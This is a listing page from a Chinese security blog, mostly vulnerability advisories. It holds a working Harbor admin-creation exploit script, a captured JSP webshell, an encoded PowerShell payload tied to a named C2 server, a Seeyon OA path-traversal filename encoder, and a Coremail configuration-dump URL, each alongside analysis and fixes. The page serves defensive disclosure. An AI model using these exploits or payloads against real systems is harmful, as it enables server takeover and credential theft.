about 211 results (0.03 seconds)

【PPT】王喜文:5G为人工智能与智能制造赋能

by LauCyun Sep 26 12:02:34 5,519 views

上个月,任正非在一份内部邮件中,号召供公共关系、接待经理、非市场与技术人员学习《认识5G,发展5G》,PPT是根据王喜文[1]博士的文章缩编的。


图1 邮件内容

为此今天给大家分享一下王喜文博士的PPT——《5G为人工智能与智能制造赋能》。

1 PPT内容

这个课件是王喜文博士给地方政府和企业家讲座的完整内容,通过对5G、人工智能、智能制造等未来科技的分享,希望有助于大家头脑风暴、拓展思路、开拓视野。

2 参考资料

[1] 王喜文,九三学社中央科技委委员,工信部国际经济技术合作中心信息主任,工业经济研究所所长。工学博士,博士后,高级工程师。他出版专著有:

  • 《工业4.0:最后一次工业革命》
  • 《工业4.0(图解版):通向未来工业的德国制造2025》
  • 《中国制造2025解读:从工业大国到工业强国》
  • 《工业互联网:中美德制造业三国演义》
  • 《世界机器人未来大格局》
  • 《机器人+:战略行动路线图》
  • 《工业机器人2.0:智能制造时代的主力军》
  • 《智能制造:中国制造2025的主攻方向》
  • 《中国制造2025思维:从两化融合到互联网+工业》
  • 《新产业政策》
  • 《工业4.0:第四次工业革命全景图》等

...

Tags Read More..


Harbor存在未授权可以任意创建管理员漏洞

by LauCyun Sep 19 21:27:21 3,746 views

近日,镜像仓库Harbor爆出未经授权可以创建任意管理员的漏洞(CVE-2019-16097)。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。

目前利用方式已被公开,官方最新的1.7.61.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。


图1 Harbor

0x0 前言

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中,确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。


图2 Harbor客户

0x1 漏洞描述

攻击者可以通过创建管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

1 危害级别

高危

2 漏洞编号

  • CVE-2019-16097

3 影响范围

受影响版本

  • Harbor 1.7.0 - 1.8.2

不受影响版本

  • Harbor>= 1.7.6
  • Harbor>= 1.8.3

4 全球态势

据ZoomEye统计(关键字:<title>Harbor</title>),在全球范围内对外开放的Harbor资产数为3,456个,分布情况如下图所示:


图3 全球分布

其中中国受影响的资产数量有2,034个,分布情况如下图所示:


图4 国内分布情况

其中大部分分布在北京、广东、浙江、上海等地区,具体如下图所示:


图5 国内分布TOP 10

0x2 漏洞复现

首先,创建文件exp.py,其内容如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import json

data = {"email": "harbor@goharbor.io", "password": "password", "realname": "harbor", "username": "harbor", "has_admin_role": True}
headers = {"Content-Type": "application/json"}
rs = requests.post("<http/https>://<ip>:<port>/api/users", data=json.dumps(data), headers=headers)
if rs.status_code == 201:
    print("success!")
else:
    print("failed!")

然后执行脚本,结果如下图所示:

图6 漏洞利用

最后,用刚创建的用户名密码登录,结果登录成功且该用户为管理员权限,如下图示:


图7 创建管理员账号

0x3 漏洞分析

在源码src/common/moudels/user.gouser的结构体如下:

type User struct {
    UserID          int    `orm:"pk;auto;column(user_id)" json:"user_id"`
    Username        string `orm:"column(username)" json:"username"`
    Email           string `orm:"column(email)" json:"email"`
    Password        string `orm:"column(password)" json:"password"`
    PasswordVersion string `orm:"column(password_version)" json:"password_version"`
    Realname        string `orm:"column(realname)" json:"realname"`
    Comment         string `orm:"column(comment)" json:"comment"`
    Deleted         bool   `orm:"column(deleted)" json:"deleted"`
    Rolename        string `orm:"-" json:"role_name"`
    // if this field is named as "RoleID", beego orm can not map role_id
    // to it.
    Role int `orm:"-" json:"role_id"`
    //  RoleList     []Role `json:"role_list"`
    HasAdminRole bool      `orm:"column(sysadmin_flag)" json:"has_admin_role"`
    ResetUUID    string    `orm:"column(reset_uuid)" json:"reset_uuid"`
    Salt         string    `orm:"column(salt)" json:"-"`
    CreationTime time.Time `orm:"column(creation_time);auto_now_add" json:"creation_time"`
    UpdateTime   time.Time `orm:"column(update_time);auto_now" json:"update_time"`
    GroupIDs     []int     `orm:"-" json:"-"`
    OIDCUserMeta *OIDCUser `orm:"-" json:"oidc_user_meta,omitempty"`
}

其中HasAdminRole参数用来标记用户是否为管理员。

分析一下路由,在src/core/router.go中第50行:

图8 /api/users路由

src/core/api/user.go中负责处理该路由提交的数据,在注册用户POST提交时来到user.go中的POST方法:


图9 POST请求处理逻辑

在判断允许自行注册用户后,创建User对象。之后验证用户和Email后插入数据库,整个过程并未对HasAdminRole进行校验。导致可以新用户可以注册为管理员。

在新版本中增加了对HasAdminRole的校验:

图10 修复

0x4 修复建议

1、关闭自行注册功能;

2、升级Harbor至1.7.6及以上版本或者1.8.3及以上版本。

0x5 参考

...

Tags Read More..


【101期】工控漏洞挖掘从入门到实战 - 大咖面对面

by LauCyun Sep 14 21:35:28 7,273 views

1 议题

议题大纲:

  • 什么是工业控制系统安全
  • 工业控制协议安全分析
  • 工业控制系统漏洞挖掘方法
  • 总结

议题PPT:【PPT】工控漏洞挖掘从入门到实战-大咖laucyun-漏洞银行大咖面对面第101期-发布版.pdf

2 录播

3 参考

...

Tags Read More..


致远 OA A8 远程代码执行漏洞的应急报告

by LauCyun Jun 27 01:52:02 20,108 views

还有三天 HW 行动就要 Game Over,但是红队的攻击越发凶猛,各种藏着捂着的招式都使用出来了,这可不又捕获一只在野的致远 OA 系统 0dayWeary Cat FaceWeary Cat Face

0x0 溯源

根据告警信息及系统日志,发现如下图所示的木马文件:


图1 木马文件

其内容如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

通过分析日志,提取出攻击者的相关操作行为,如下图所示:


图2 攻击行为

发现红队使用执行 Powershell 命令,命令如下:

pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEgALwBUAEUAbAAwAEMAQQA3AFYAVwBiAFcAKwBiAFMAQgBEACsAbgBFAGoANQBEADYAaQB5AEIAQwBpAE8AagBWAE8AbgBUAFMATgBWAE8AcgBBAGgAeAByAFYAVABVADIAegBzADIARwBlAGQATQBLAHgAaAA0ADIAVQBoAHMATQBRAG0AdgBmADcAMwBtADcAVQBoAFQAYQAvAHAAWABYAHYAUwBJAFMAVAAyAFoAVgA2AGUAbQBYAGwAMgBoADMAVgBPAFAAWQBaAGoASwBuAGkASgBKAFgAdwArAE8AVAA0AGEAdQBhAGsAYgBDAFYATABOAHUAMgBqAFgAaABkAG8AcQBVAE8AUwBqAEkAMQBpAHUAWgBmAGQATwBJAEwAdwBYAHAASQBXAGEASgBOADAANABjAGoARgBkAFgAbAAxADEAOABqAFIARgBsAEIAMwBtAGoAVwB2AEUAMQBDAHgARAAwAFkAcABnAGwARQBtAHkAOABLAGMAdwBEAFYARwBLAHoAagA2AHUANwBwAEQASABoAE0AOQBDADcAWQAvAEcATgBZAGwAWABMAGkAbgBGAGkAbwA3AHIAaABVAGcANABVADYAbgBQADkAdwBhAHgANQAzAEkAcwBEAFQAcwBoAG0ARQBuAGkANwA3ACsATAA4AHUASwBzAHQAVwB6AG8AOQA3AGwATABNAGsAbQAwAGkANAB5AGgAcQBPAEUAVABJAHMAcgBDAEYANQBrADcASABCAGMASgBrAHMAUQBoADkAdABJADQAaQA5AGUAcwBNAGMAWAAwADkAWABsAGoAUQBqAE4AMwBqAFcANwBBADIAZwBNAGEASQBoAGIARwBmAGkAYgBLAEUAQQBXADgASwBXAEoANQBTAG8AVgA5AFAATgB6AEEAWQBWAHMAUwBZAFQAaABLAFkAMAAvADEALwBSAFIAbABtAFYAZwBYAEYAdAB6ADAAWQByAG4AOABUAFYAcQBVAGYAagAvAGwAbABPAEUASQBOAFUAegBLAFUAQgBvAG4ATgBrAG8AZgBzAEkAZQB5AFIAcwArAGwAUABrAEcAZgAwAEgAbwBKAFcAagBaAEwATQBRADIAVwBzAGcAeABpAEQALwBFAEcAUwBUAFcAYQBFADEASQBYAGYAcwBXAE0AZABJAE8AMgBWAGQAWgArAFYAawBsADYAcgBnAFIAUwBJADUAYgBLAGQAYQBqAGoAQwAzAEUATwBZAHoAOABuADYASwBBAHAAdgBnAEMAVQAxADEANgBHAHAANgB3AC8ASgBPADcATAB5AGYASABKADgAYgBxAGkAeQByADMAZABmAGsANABWAEcAQgAwAHQAOQBtAE0ARQAyAEsAUgBSAG4ATwBHADkAMgBIAHQAQgBxAFEAdABEADgATwBLAHkATwBDADEAZwBXAGgAdQBuAE8AWgBLAFgAVAA1AGsAVgBhAGsAaQA3AHEALwA5AFkAdgBWAFgASgBnAGkAVABoADUARgBzADQATQBmAGEAWABvAEYARABXAHMAZwBaAFYANQBzAHMALwBwAG0AUQBYAHIAVABGAEYAMwBZAEsANgBFAGYAWQBxADEAawBrAHYANQBSAGUAdABDAGQAcQBIADEANgBqAEUAYgBnAEMAUgBKAEoAWQBiAHkATwA4AGkAZwBnAEsAWAA4AFkAegB4AE0AbgArAG4AcABrAGUAWQBQAGUAbABxAE8AUwBZACsAUwBsAFUAUABhAHAAUQBCAEsAaQBpAGYALwBDADIAWQBRAHgARQBrADAAYQBSAEQARgBFAEYAKwBEAG4AUABnAFgAVwAwAE4AWABFAGUAVgBkAE0AbgB2AG8AdgBMAE8ANQB5AEEAawBkAG8AaQBiAFoAWABWAGgAbABNAE4AaAA4ACsAcQBDAGoAVgB5AEMALwBMAHEAZwAwAGcAeQBYAFcAMgByAE8ANAB2ADEAUQAvAEEAcAAzAG0AQgBPAEcAUABUAGQAagBsAGIAbQBsAFgASwBhAHgAZABOAGUASgBhAGMAYgBTADMASQBPAEsAUQBlAGgAagBPADAARQBlAGQAZwBuAFAAUgBGADMAbwBZAFIAOQBwAGgAWQAyAEQAeQBxADMANABZAGgANAA2AEwAaQBGAHcAQQBzAEQAUwBBADkAUQBCAFYAbgBqADgATgB1AE0AOABTAEEARQBoAHIANwBuAGMAcwBCAEUAegBvADQAUwBnAEMARQBUADIAWgA5ADQAZwBiAGcAQQBuAHYASwBUADUAbgBqAGQAdQBnAEgAegB4AGIALwBnAHEARgBoADgAbwB5AHgATgBSAFoAZQBBAFoATwBxAGkAdQBUAFcASgBXAEYAeAB5AGMATQByAGcANQBlAEYASgBKADgASgA5AGMAUAA3ADgAdwBBAEUAUQBuAFIAVwBVAE4AcABPAHAAVQBMAEwAUwBDAGMAVABMAFgASAB2AFUAZAA1ADIASwBaAGsASAAzADQASwBZAFAAUQBqAFQAUwBPAE4ARABkAEQAYgA5AHEASABxADAARgA2ADEAZABSAHgAOQAyAEwAVQBqAFIAOQBWAGUASABUAGoAawArAFYAbwA5AHMAUwBaAG0AMABPAC8AVAAyAHkAVAAyAGIAYwA2AEgAawB6AEMAMABNAFEAdABNADQAQgA1AE0AZABHAEQARQBWAE8AUwBEACsATgB4AHIAMgA5ADMAZQAyAHIAYQAzAFkAVgByADEAYwB4AE0AdgBhAGMAVgBWAGsAdABUAHYAUgA1ACsANgAvAFMAMQB5AFEAVAAwAGMARwBkAGcAMwBlADEATQAxAGQAZQBpAFkAQgBiAGMAZAByAGIAbQBLAEoAeQBaADQASwBnAHoAQwBNAHcAQQB2AHAAbwBaAGUAcABvAHkAVgB3AEoATgBNAFQAbwBEAFcAdwB0ADEAcgBLAGkAQgBiAGYAVwBzAGQAbQB0AHUATgBpACsASgBoAGgAOQB0ADAAMQBaADcAMAB5AGQALwBUADMANwAwAGQAcgBzADMAMgA0ADMAVgBtADIARgBmAEQAWQAyAFAAdgB0AEUANgBOAC8AYgA2AEcANgA0AC8AMwAxAHcAUAB1AHYAcAArADcAdgBHADUAZABaAHYAcABXAEEAYwAvAHUAbgBGAHIATwBTAEcAYQBPAG8AawAyADEAWQAyADUANQBTAFIAbQBjAEwAbwBOAEwARwBmAFEAYgBCAHUAaABCAHUAcwBtADMAZwAwAFMAdQB3AGwAUABxADkAVgAvAG8AUAA3AGoAawBGAHcAKwBEAGcARwB1ADUAYwB6ADcARwBNADMATgBBAEIAVwBCAGEAcQBtAHEAZgBVAHUASgB2AGQAcAAyAFYAUABYADYAcgBVAGYAbgA0ADQAdQBOAE0AWQBHADEAegBkAGkAawBPADIAdQBWAEQAUAAzAGkAdAB0AGQAOAA1AHcAdwB4AFMAbQBMAFYAMABsAFgAVgBJAEgAQQBXAEkAOQBYAGQAZABwAHUAdABhAGYAegBCAGMAaQA2AHMAaQBhADcAcwBpAG8AbQB5ADIAKwBwADMAegBhADIATwArADkAdABOACsAWgAxAGMAdgAzAGsAVABOAE4AZgB0AFUAZABPAHgAVABkAHAAegBRAHcAMwB3AEYAdgAzADIAQgB2AGQAUABZAFMAOQB5AEgAZQBWADIAMwBYAFIANAAvAHIAbwA2AGIAVAA3AFMARwBYAEYASABuAFYAWgBNAFYAcwAzAFcAQgBIAGYAZgBhAHAAcQBKAFUAZgA5AG0ANgBKAEYANwBEAFcASQBHAEcAeABmAFcASwB1ADYAYwBlACsARQBhAE0ASgBuAEIAcABSAFgATQBZAG4AcgB1AGIAcwBEAHUATgBGAEEAQgBIAGMAUQBIAGQAVgA3ADMAVABkAEQAUgBjAG8ASQAzAGsAOQBNAFoAdAA5AFgAZgBLAGwARgAvAHAAMwBDAGMAVQBmADgAUwBzAEoAMgBYAEcARgBSAEcAegBWAGsAVAA4AEsAbQA5AHIAdAAyAGgAMQA3AFkANQBPAC8AZQBSAG8AVABWAFAAdgBmAGUAdgBPAEcATwBCAHMAagBVADAAZQBQAGUATQBpAGoAOQBxAEgAVQBNADMAegBVAEsAWABBAEUAVwBoAEoAMQBRAFgAZwBoAEcAbgBSAG4AbgBQAGoAMgBMAE0ATgBTAFMASgAvAHgAcABzAFUARQBvAFIAZwBkAFkASwB6AGIAYwA2AFYAeQBvAGgAcwBjAGUAYgBEAEcAOABJADAATgA4AE8AWABZAGMAMwB3AFEAawBNAFgANQArAC8ATwBKAEsARgBKADAASAA1AGEAKwArAHAAbABxADYAdQA1AG8AQQBSAGoAaQBxAGMAcABzAFkAQQAwAFkAQwBGAGQAVwBYADMAVwBsAEcAZwBsAFMAaQA3AHQAZwBJAFIALwBuAHgAWQBuAFQAZwBwAEoARwA2AHAAegBqAHMAUgB6ADAAcABwAG0ATwB3AE4AeQAvAHoANAAxAG4ASgBGAGUANQBqACsAcgA5AGsAcQBMADQAMABRAFAAdgA2AC8AWgBPAHYAcgAyAGoALwBzAC8AbABRAEcAbABmAG8AKwAzAHUAOQBXAHYAMQAzADQAcABYAFQAKwBhAHQAeABUAEYAegBNAFEAdABPAEgATwBJACsAagBRAGIAVgA4AE0AdgArAFQARgBzAHgAKwBSAGYAVQAyAGcANwB1AHYAeQA0AGIAKwBTAEgAMwBOADIAZABnAE0ALwBLAEMAZgBIAGYAdwBIADIAZwB3AHkAdABzAHcAbwBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApA

对 PowerShell 命令进行分析,确认这个是 MSF 框架生成的 Payload,其CC服务器是114.118.83.230:443。

0x1 复现

1 PoC

访问/seeyon/htmlofficeservlet,如果出现如下特征即为存在:


图3 漏洞验证

2 Exp

用 Burp 发送 POST 请求写入 WebShell,如下图所示:


图4 漏洞利用

如上图所示即为写入 Webshell 成功,访问/seeyon/index1.jsp进一步验证是否写入成功,如下图所示即为成功:


图5 访问WebShell

执行ipconfig命令,如下图所示:


图6 执行命令

最后,补充上传文件名的代码,如下:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;

public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
    public String DecodeBase64(String paramString) {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";
        byte[] arrayOfByte2 = new byte[4];
        try {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length) {
                for (int i = 0; i <= 3; i++) {
                    if (j >= arrayOfByte1.length) {
                        arrayOfByte2[i] = 64;
                    } else {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte) k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte) (((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64) {
                    localByteArrayOutputStream.write((byte) (((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte) (((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        } catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException) {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try {
            str = localByteArrayOutputStream.toString("GB2312");
        } catch (UnsupportedEncodingException localUnsupportedEncodingException) {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }
    public String EncodeBase64(String var1) {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];
        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");
            while (var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte) ((var5 & 252) >> 2);
                var7[1] = (byte) ((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte) ((var5 & 240) >> 4);
                    var7[2] = (byte) ((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte) (var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte) (var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }

                for (int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
            // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }
        return var2.toString();
    }
    public static void main(String[] args) {
        Main m = new Main();
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123456.jsp"));
    }
}

0x3 漏洞描述

致远互联是中国协同管理软件及云服务领导供应商,专注专注在协同管理软件领域。致远 A8+ 协同管理软件在很多央企、大型公司都有应用。

致远 A8+ 在某些版本上存在远程 Getshell 漏洞。系统某处在无需登录情况下可直接上传任意文件,攻击者一旦上传精心构造的后门文件即可 Getshell,获得目标服务器的权限。目前利用代码已在野外公开,官方提供的补丁程序仍然可利用。

0x4 漏洞影响

1 危害级别

  • 高危

2 影响版本

  • 致远OA A8-V5 V6.1 SP1
  • 致远OA A8+协同管理软件 V7.0
  • 致远OA A8+协同管理软件 V7.0 SP1
  • 致远OA A8+协同管理软件 V7.0 SP2
  • 致远OA A8+协同管理软件 V7.0 SP3
  • 致远OA A8+协同管理软件 V7.1

3 全球态势

据 ZoomEye 统计,在全球范围内对外开放的致远 OA 资产数多达 29,439 个,其中中国受影响的资产数量有 29,275 个,具体分布情况如下图:


图7 各省分布情况

其中大部分分布在北京、广东、四川、江苏等省,具体如下图所示:


图8 国内TOP 10

0x5 修复建议

1 配置URL访问控制策略

部署于公网的致远 A8+ 服务器,可通过 ACL 禁止外网对/seeyon/htmlofficeservlet路径的访问。

2 修改配置文件

注释Seeyon/A8/ApacheJetspeed/webapps/seeyon/WEB-INF/web.xml中的如下内容,并重启应用程序。

<servlet-mapping>
    <servlet-name>htmlofficeservlet</servlet-name>
    <url-pattern>/htmlofficeservlet</url-pattern>
</servlet-mapping>

2 官方补丁

请尽快联系致远官方,索要官方补丁程序。

厂商官网:http://www.seeyon.com/info/company.html

...

Tags Read More..


Coremail 邮件系统配置信息泄露漏洞

by LauCyun Jun 14 14:58:20 23,762 views

6月14日上午,某安全群证实 Coremail 存在 0day,攻击者通过 POC 可获取 Coremail 配置文件信息,包括配置IP、端口、文件路径、数据库密码、用户名等信息。

Coremail 产品诞生于 1999 年,经过二十多年发展,如今从亿万级别的运营系统,到几万人的大型企业,都有了 Coremail 的客户。截止2019年,Coremail 邮件系统产品在国内已拥有 10 亿终端用户  ,是目前国内拥有邮箱使用用户最多的邮件系统。Coremail 今天不但为网易(126、163、yeah)、移动,联通等知名运营商提供电子邮件整体技术解决方案及企业邮局运营服务,还为石油、钢铁、电力、政府、金融、教育、尖端制造企业等用户提供邮件系统软件和反垃圾服务。

——摘自于《百度百科》


图1 某安全群聊天记录

0x0 漏洞描述

由于 Coremail 邮件系统的 mailsms 模块的参数大小写敏感存在缺陷,使得攻击者利用该漏洞,在未授权的情况下,通过远程访问 URL 地址获知 Coremail 服务器的系统配置文件,造成数据库连接参数等系统敏感配置信息泄露。

0x1 影响范围

该漏洞的影响版本如下:

Coremail XT 3.0.1 至 XT 5.0.9 版本,XT 5.0.9a 及以上版本已修复该漏洞。

据统计,全球近 19,136 个独立 IP 使用 Coremail,其中归属中国大陆地区的受影响资产数量为 17,235 个,具体数据如下图:


图2 Coremail资产统计

0x2 漏洞细节

POC:/mailsms/s?func=ADMIN:appState&dumpConfig=/

通过域名或者 IP 等地址 + POC 即可获取目标邮件服务器配置文件,配置文件包括:文件路径、IP、端口、数据库用户、密码等敏感信息。


图3 poc执行结果

0x3 修复建议

Coremail 论客公司已发布补丁进行修复,针对 Coremail XT5 和 Coremail XT3/CM5 版本,补丁编号为 CMXT5-2019-0002 ,程序版本 1.1.0-alphabuild20190524(3813d273) 。

如已安装的程序包的版本号日期早于 20190524,建议用户及时更新补丁:用户可以在 Coremail 云服务中心的补丁管理模块,根据补丁编号下载并按照操作指引进行手动更新。

如有疑问,也可通过 400-888-2488 或 surport@coremail.cn 联系厂商售后人员提供协助。

临时修补方法如下:

  1. 在不影响使用的情况下,仅允许 VPN 连接后才可访问;
  2. 在 Web 服务器(nginx/apache)上限制外网对/mailsms路径的访问。

建议使用 Coremail 构建邮件服务器的信息系统运营者立即自查,发现存在漏洞后及时修复。

...

Tags Read More..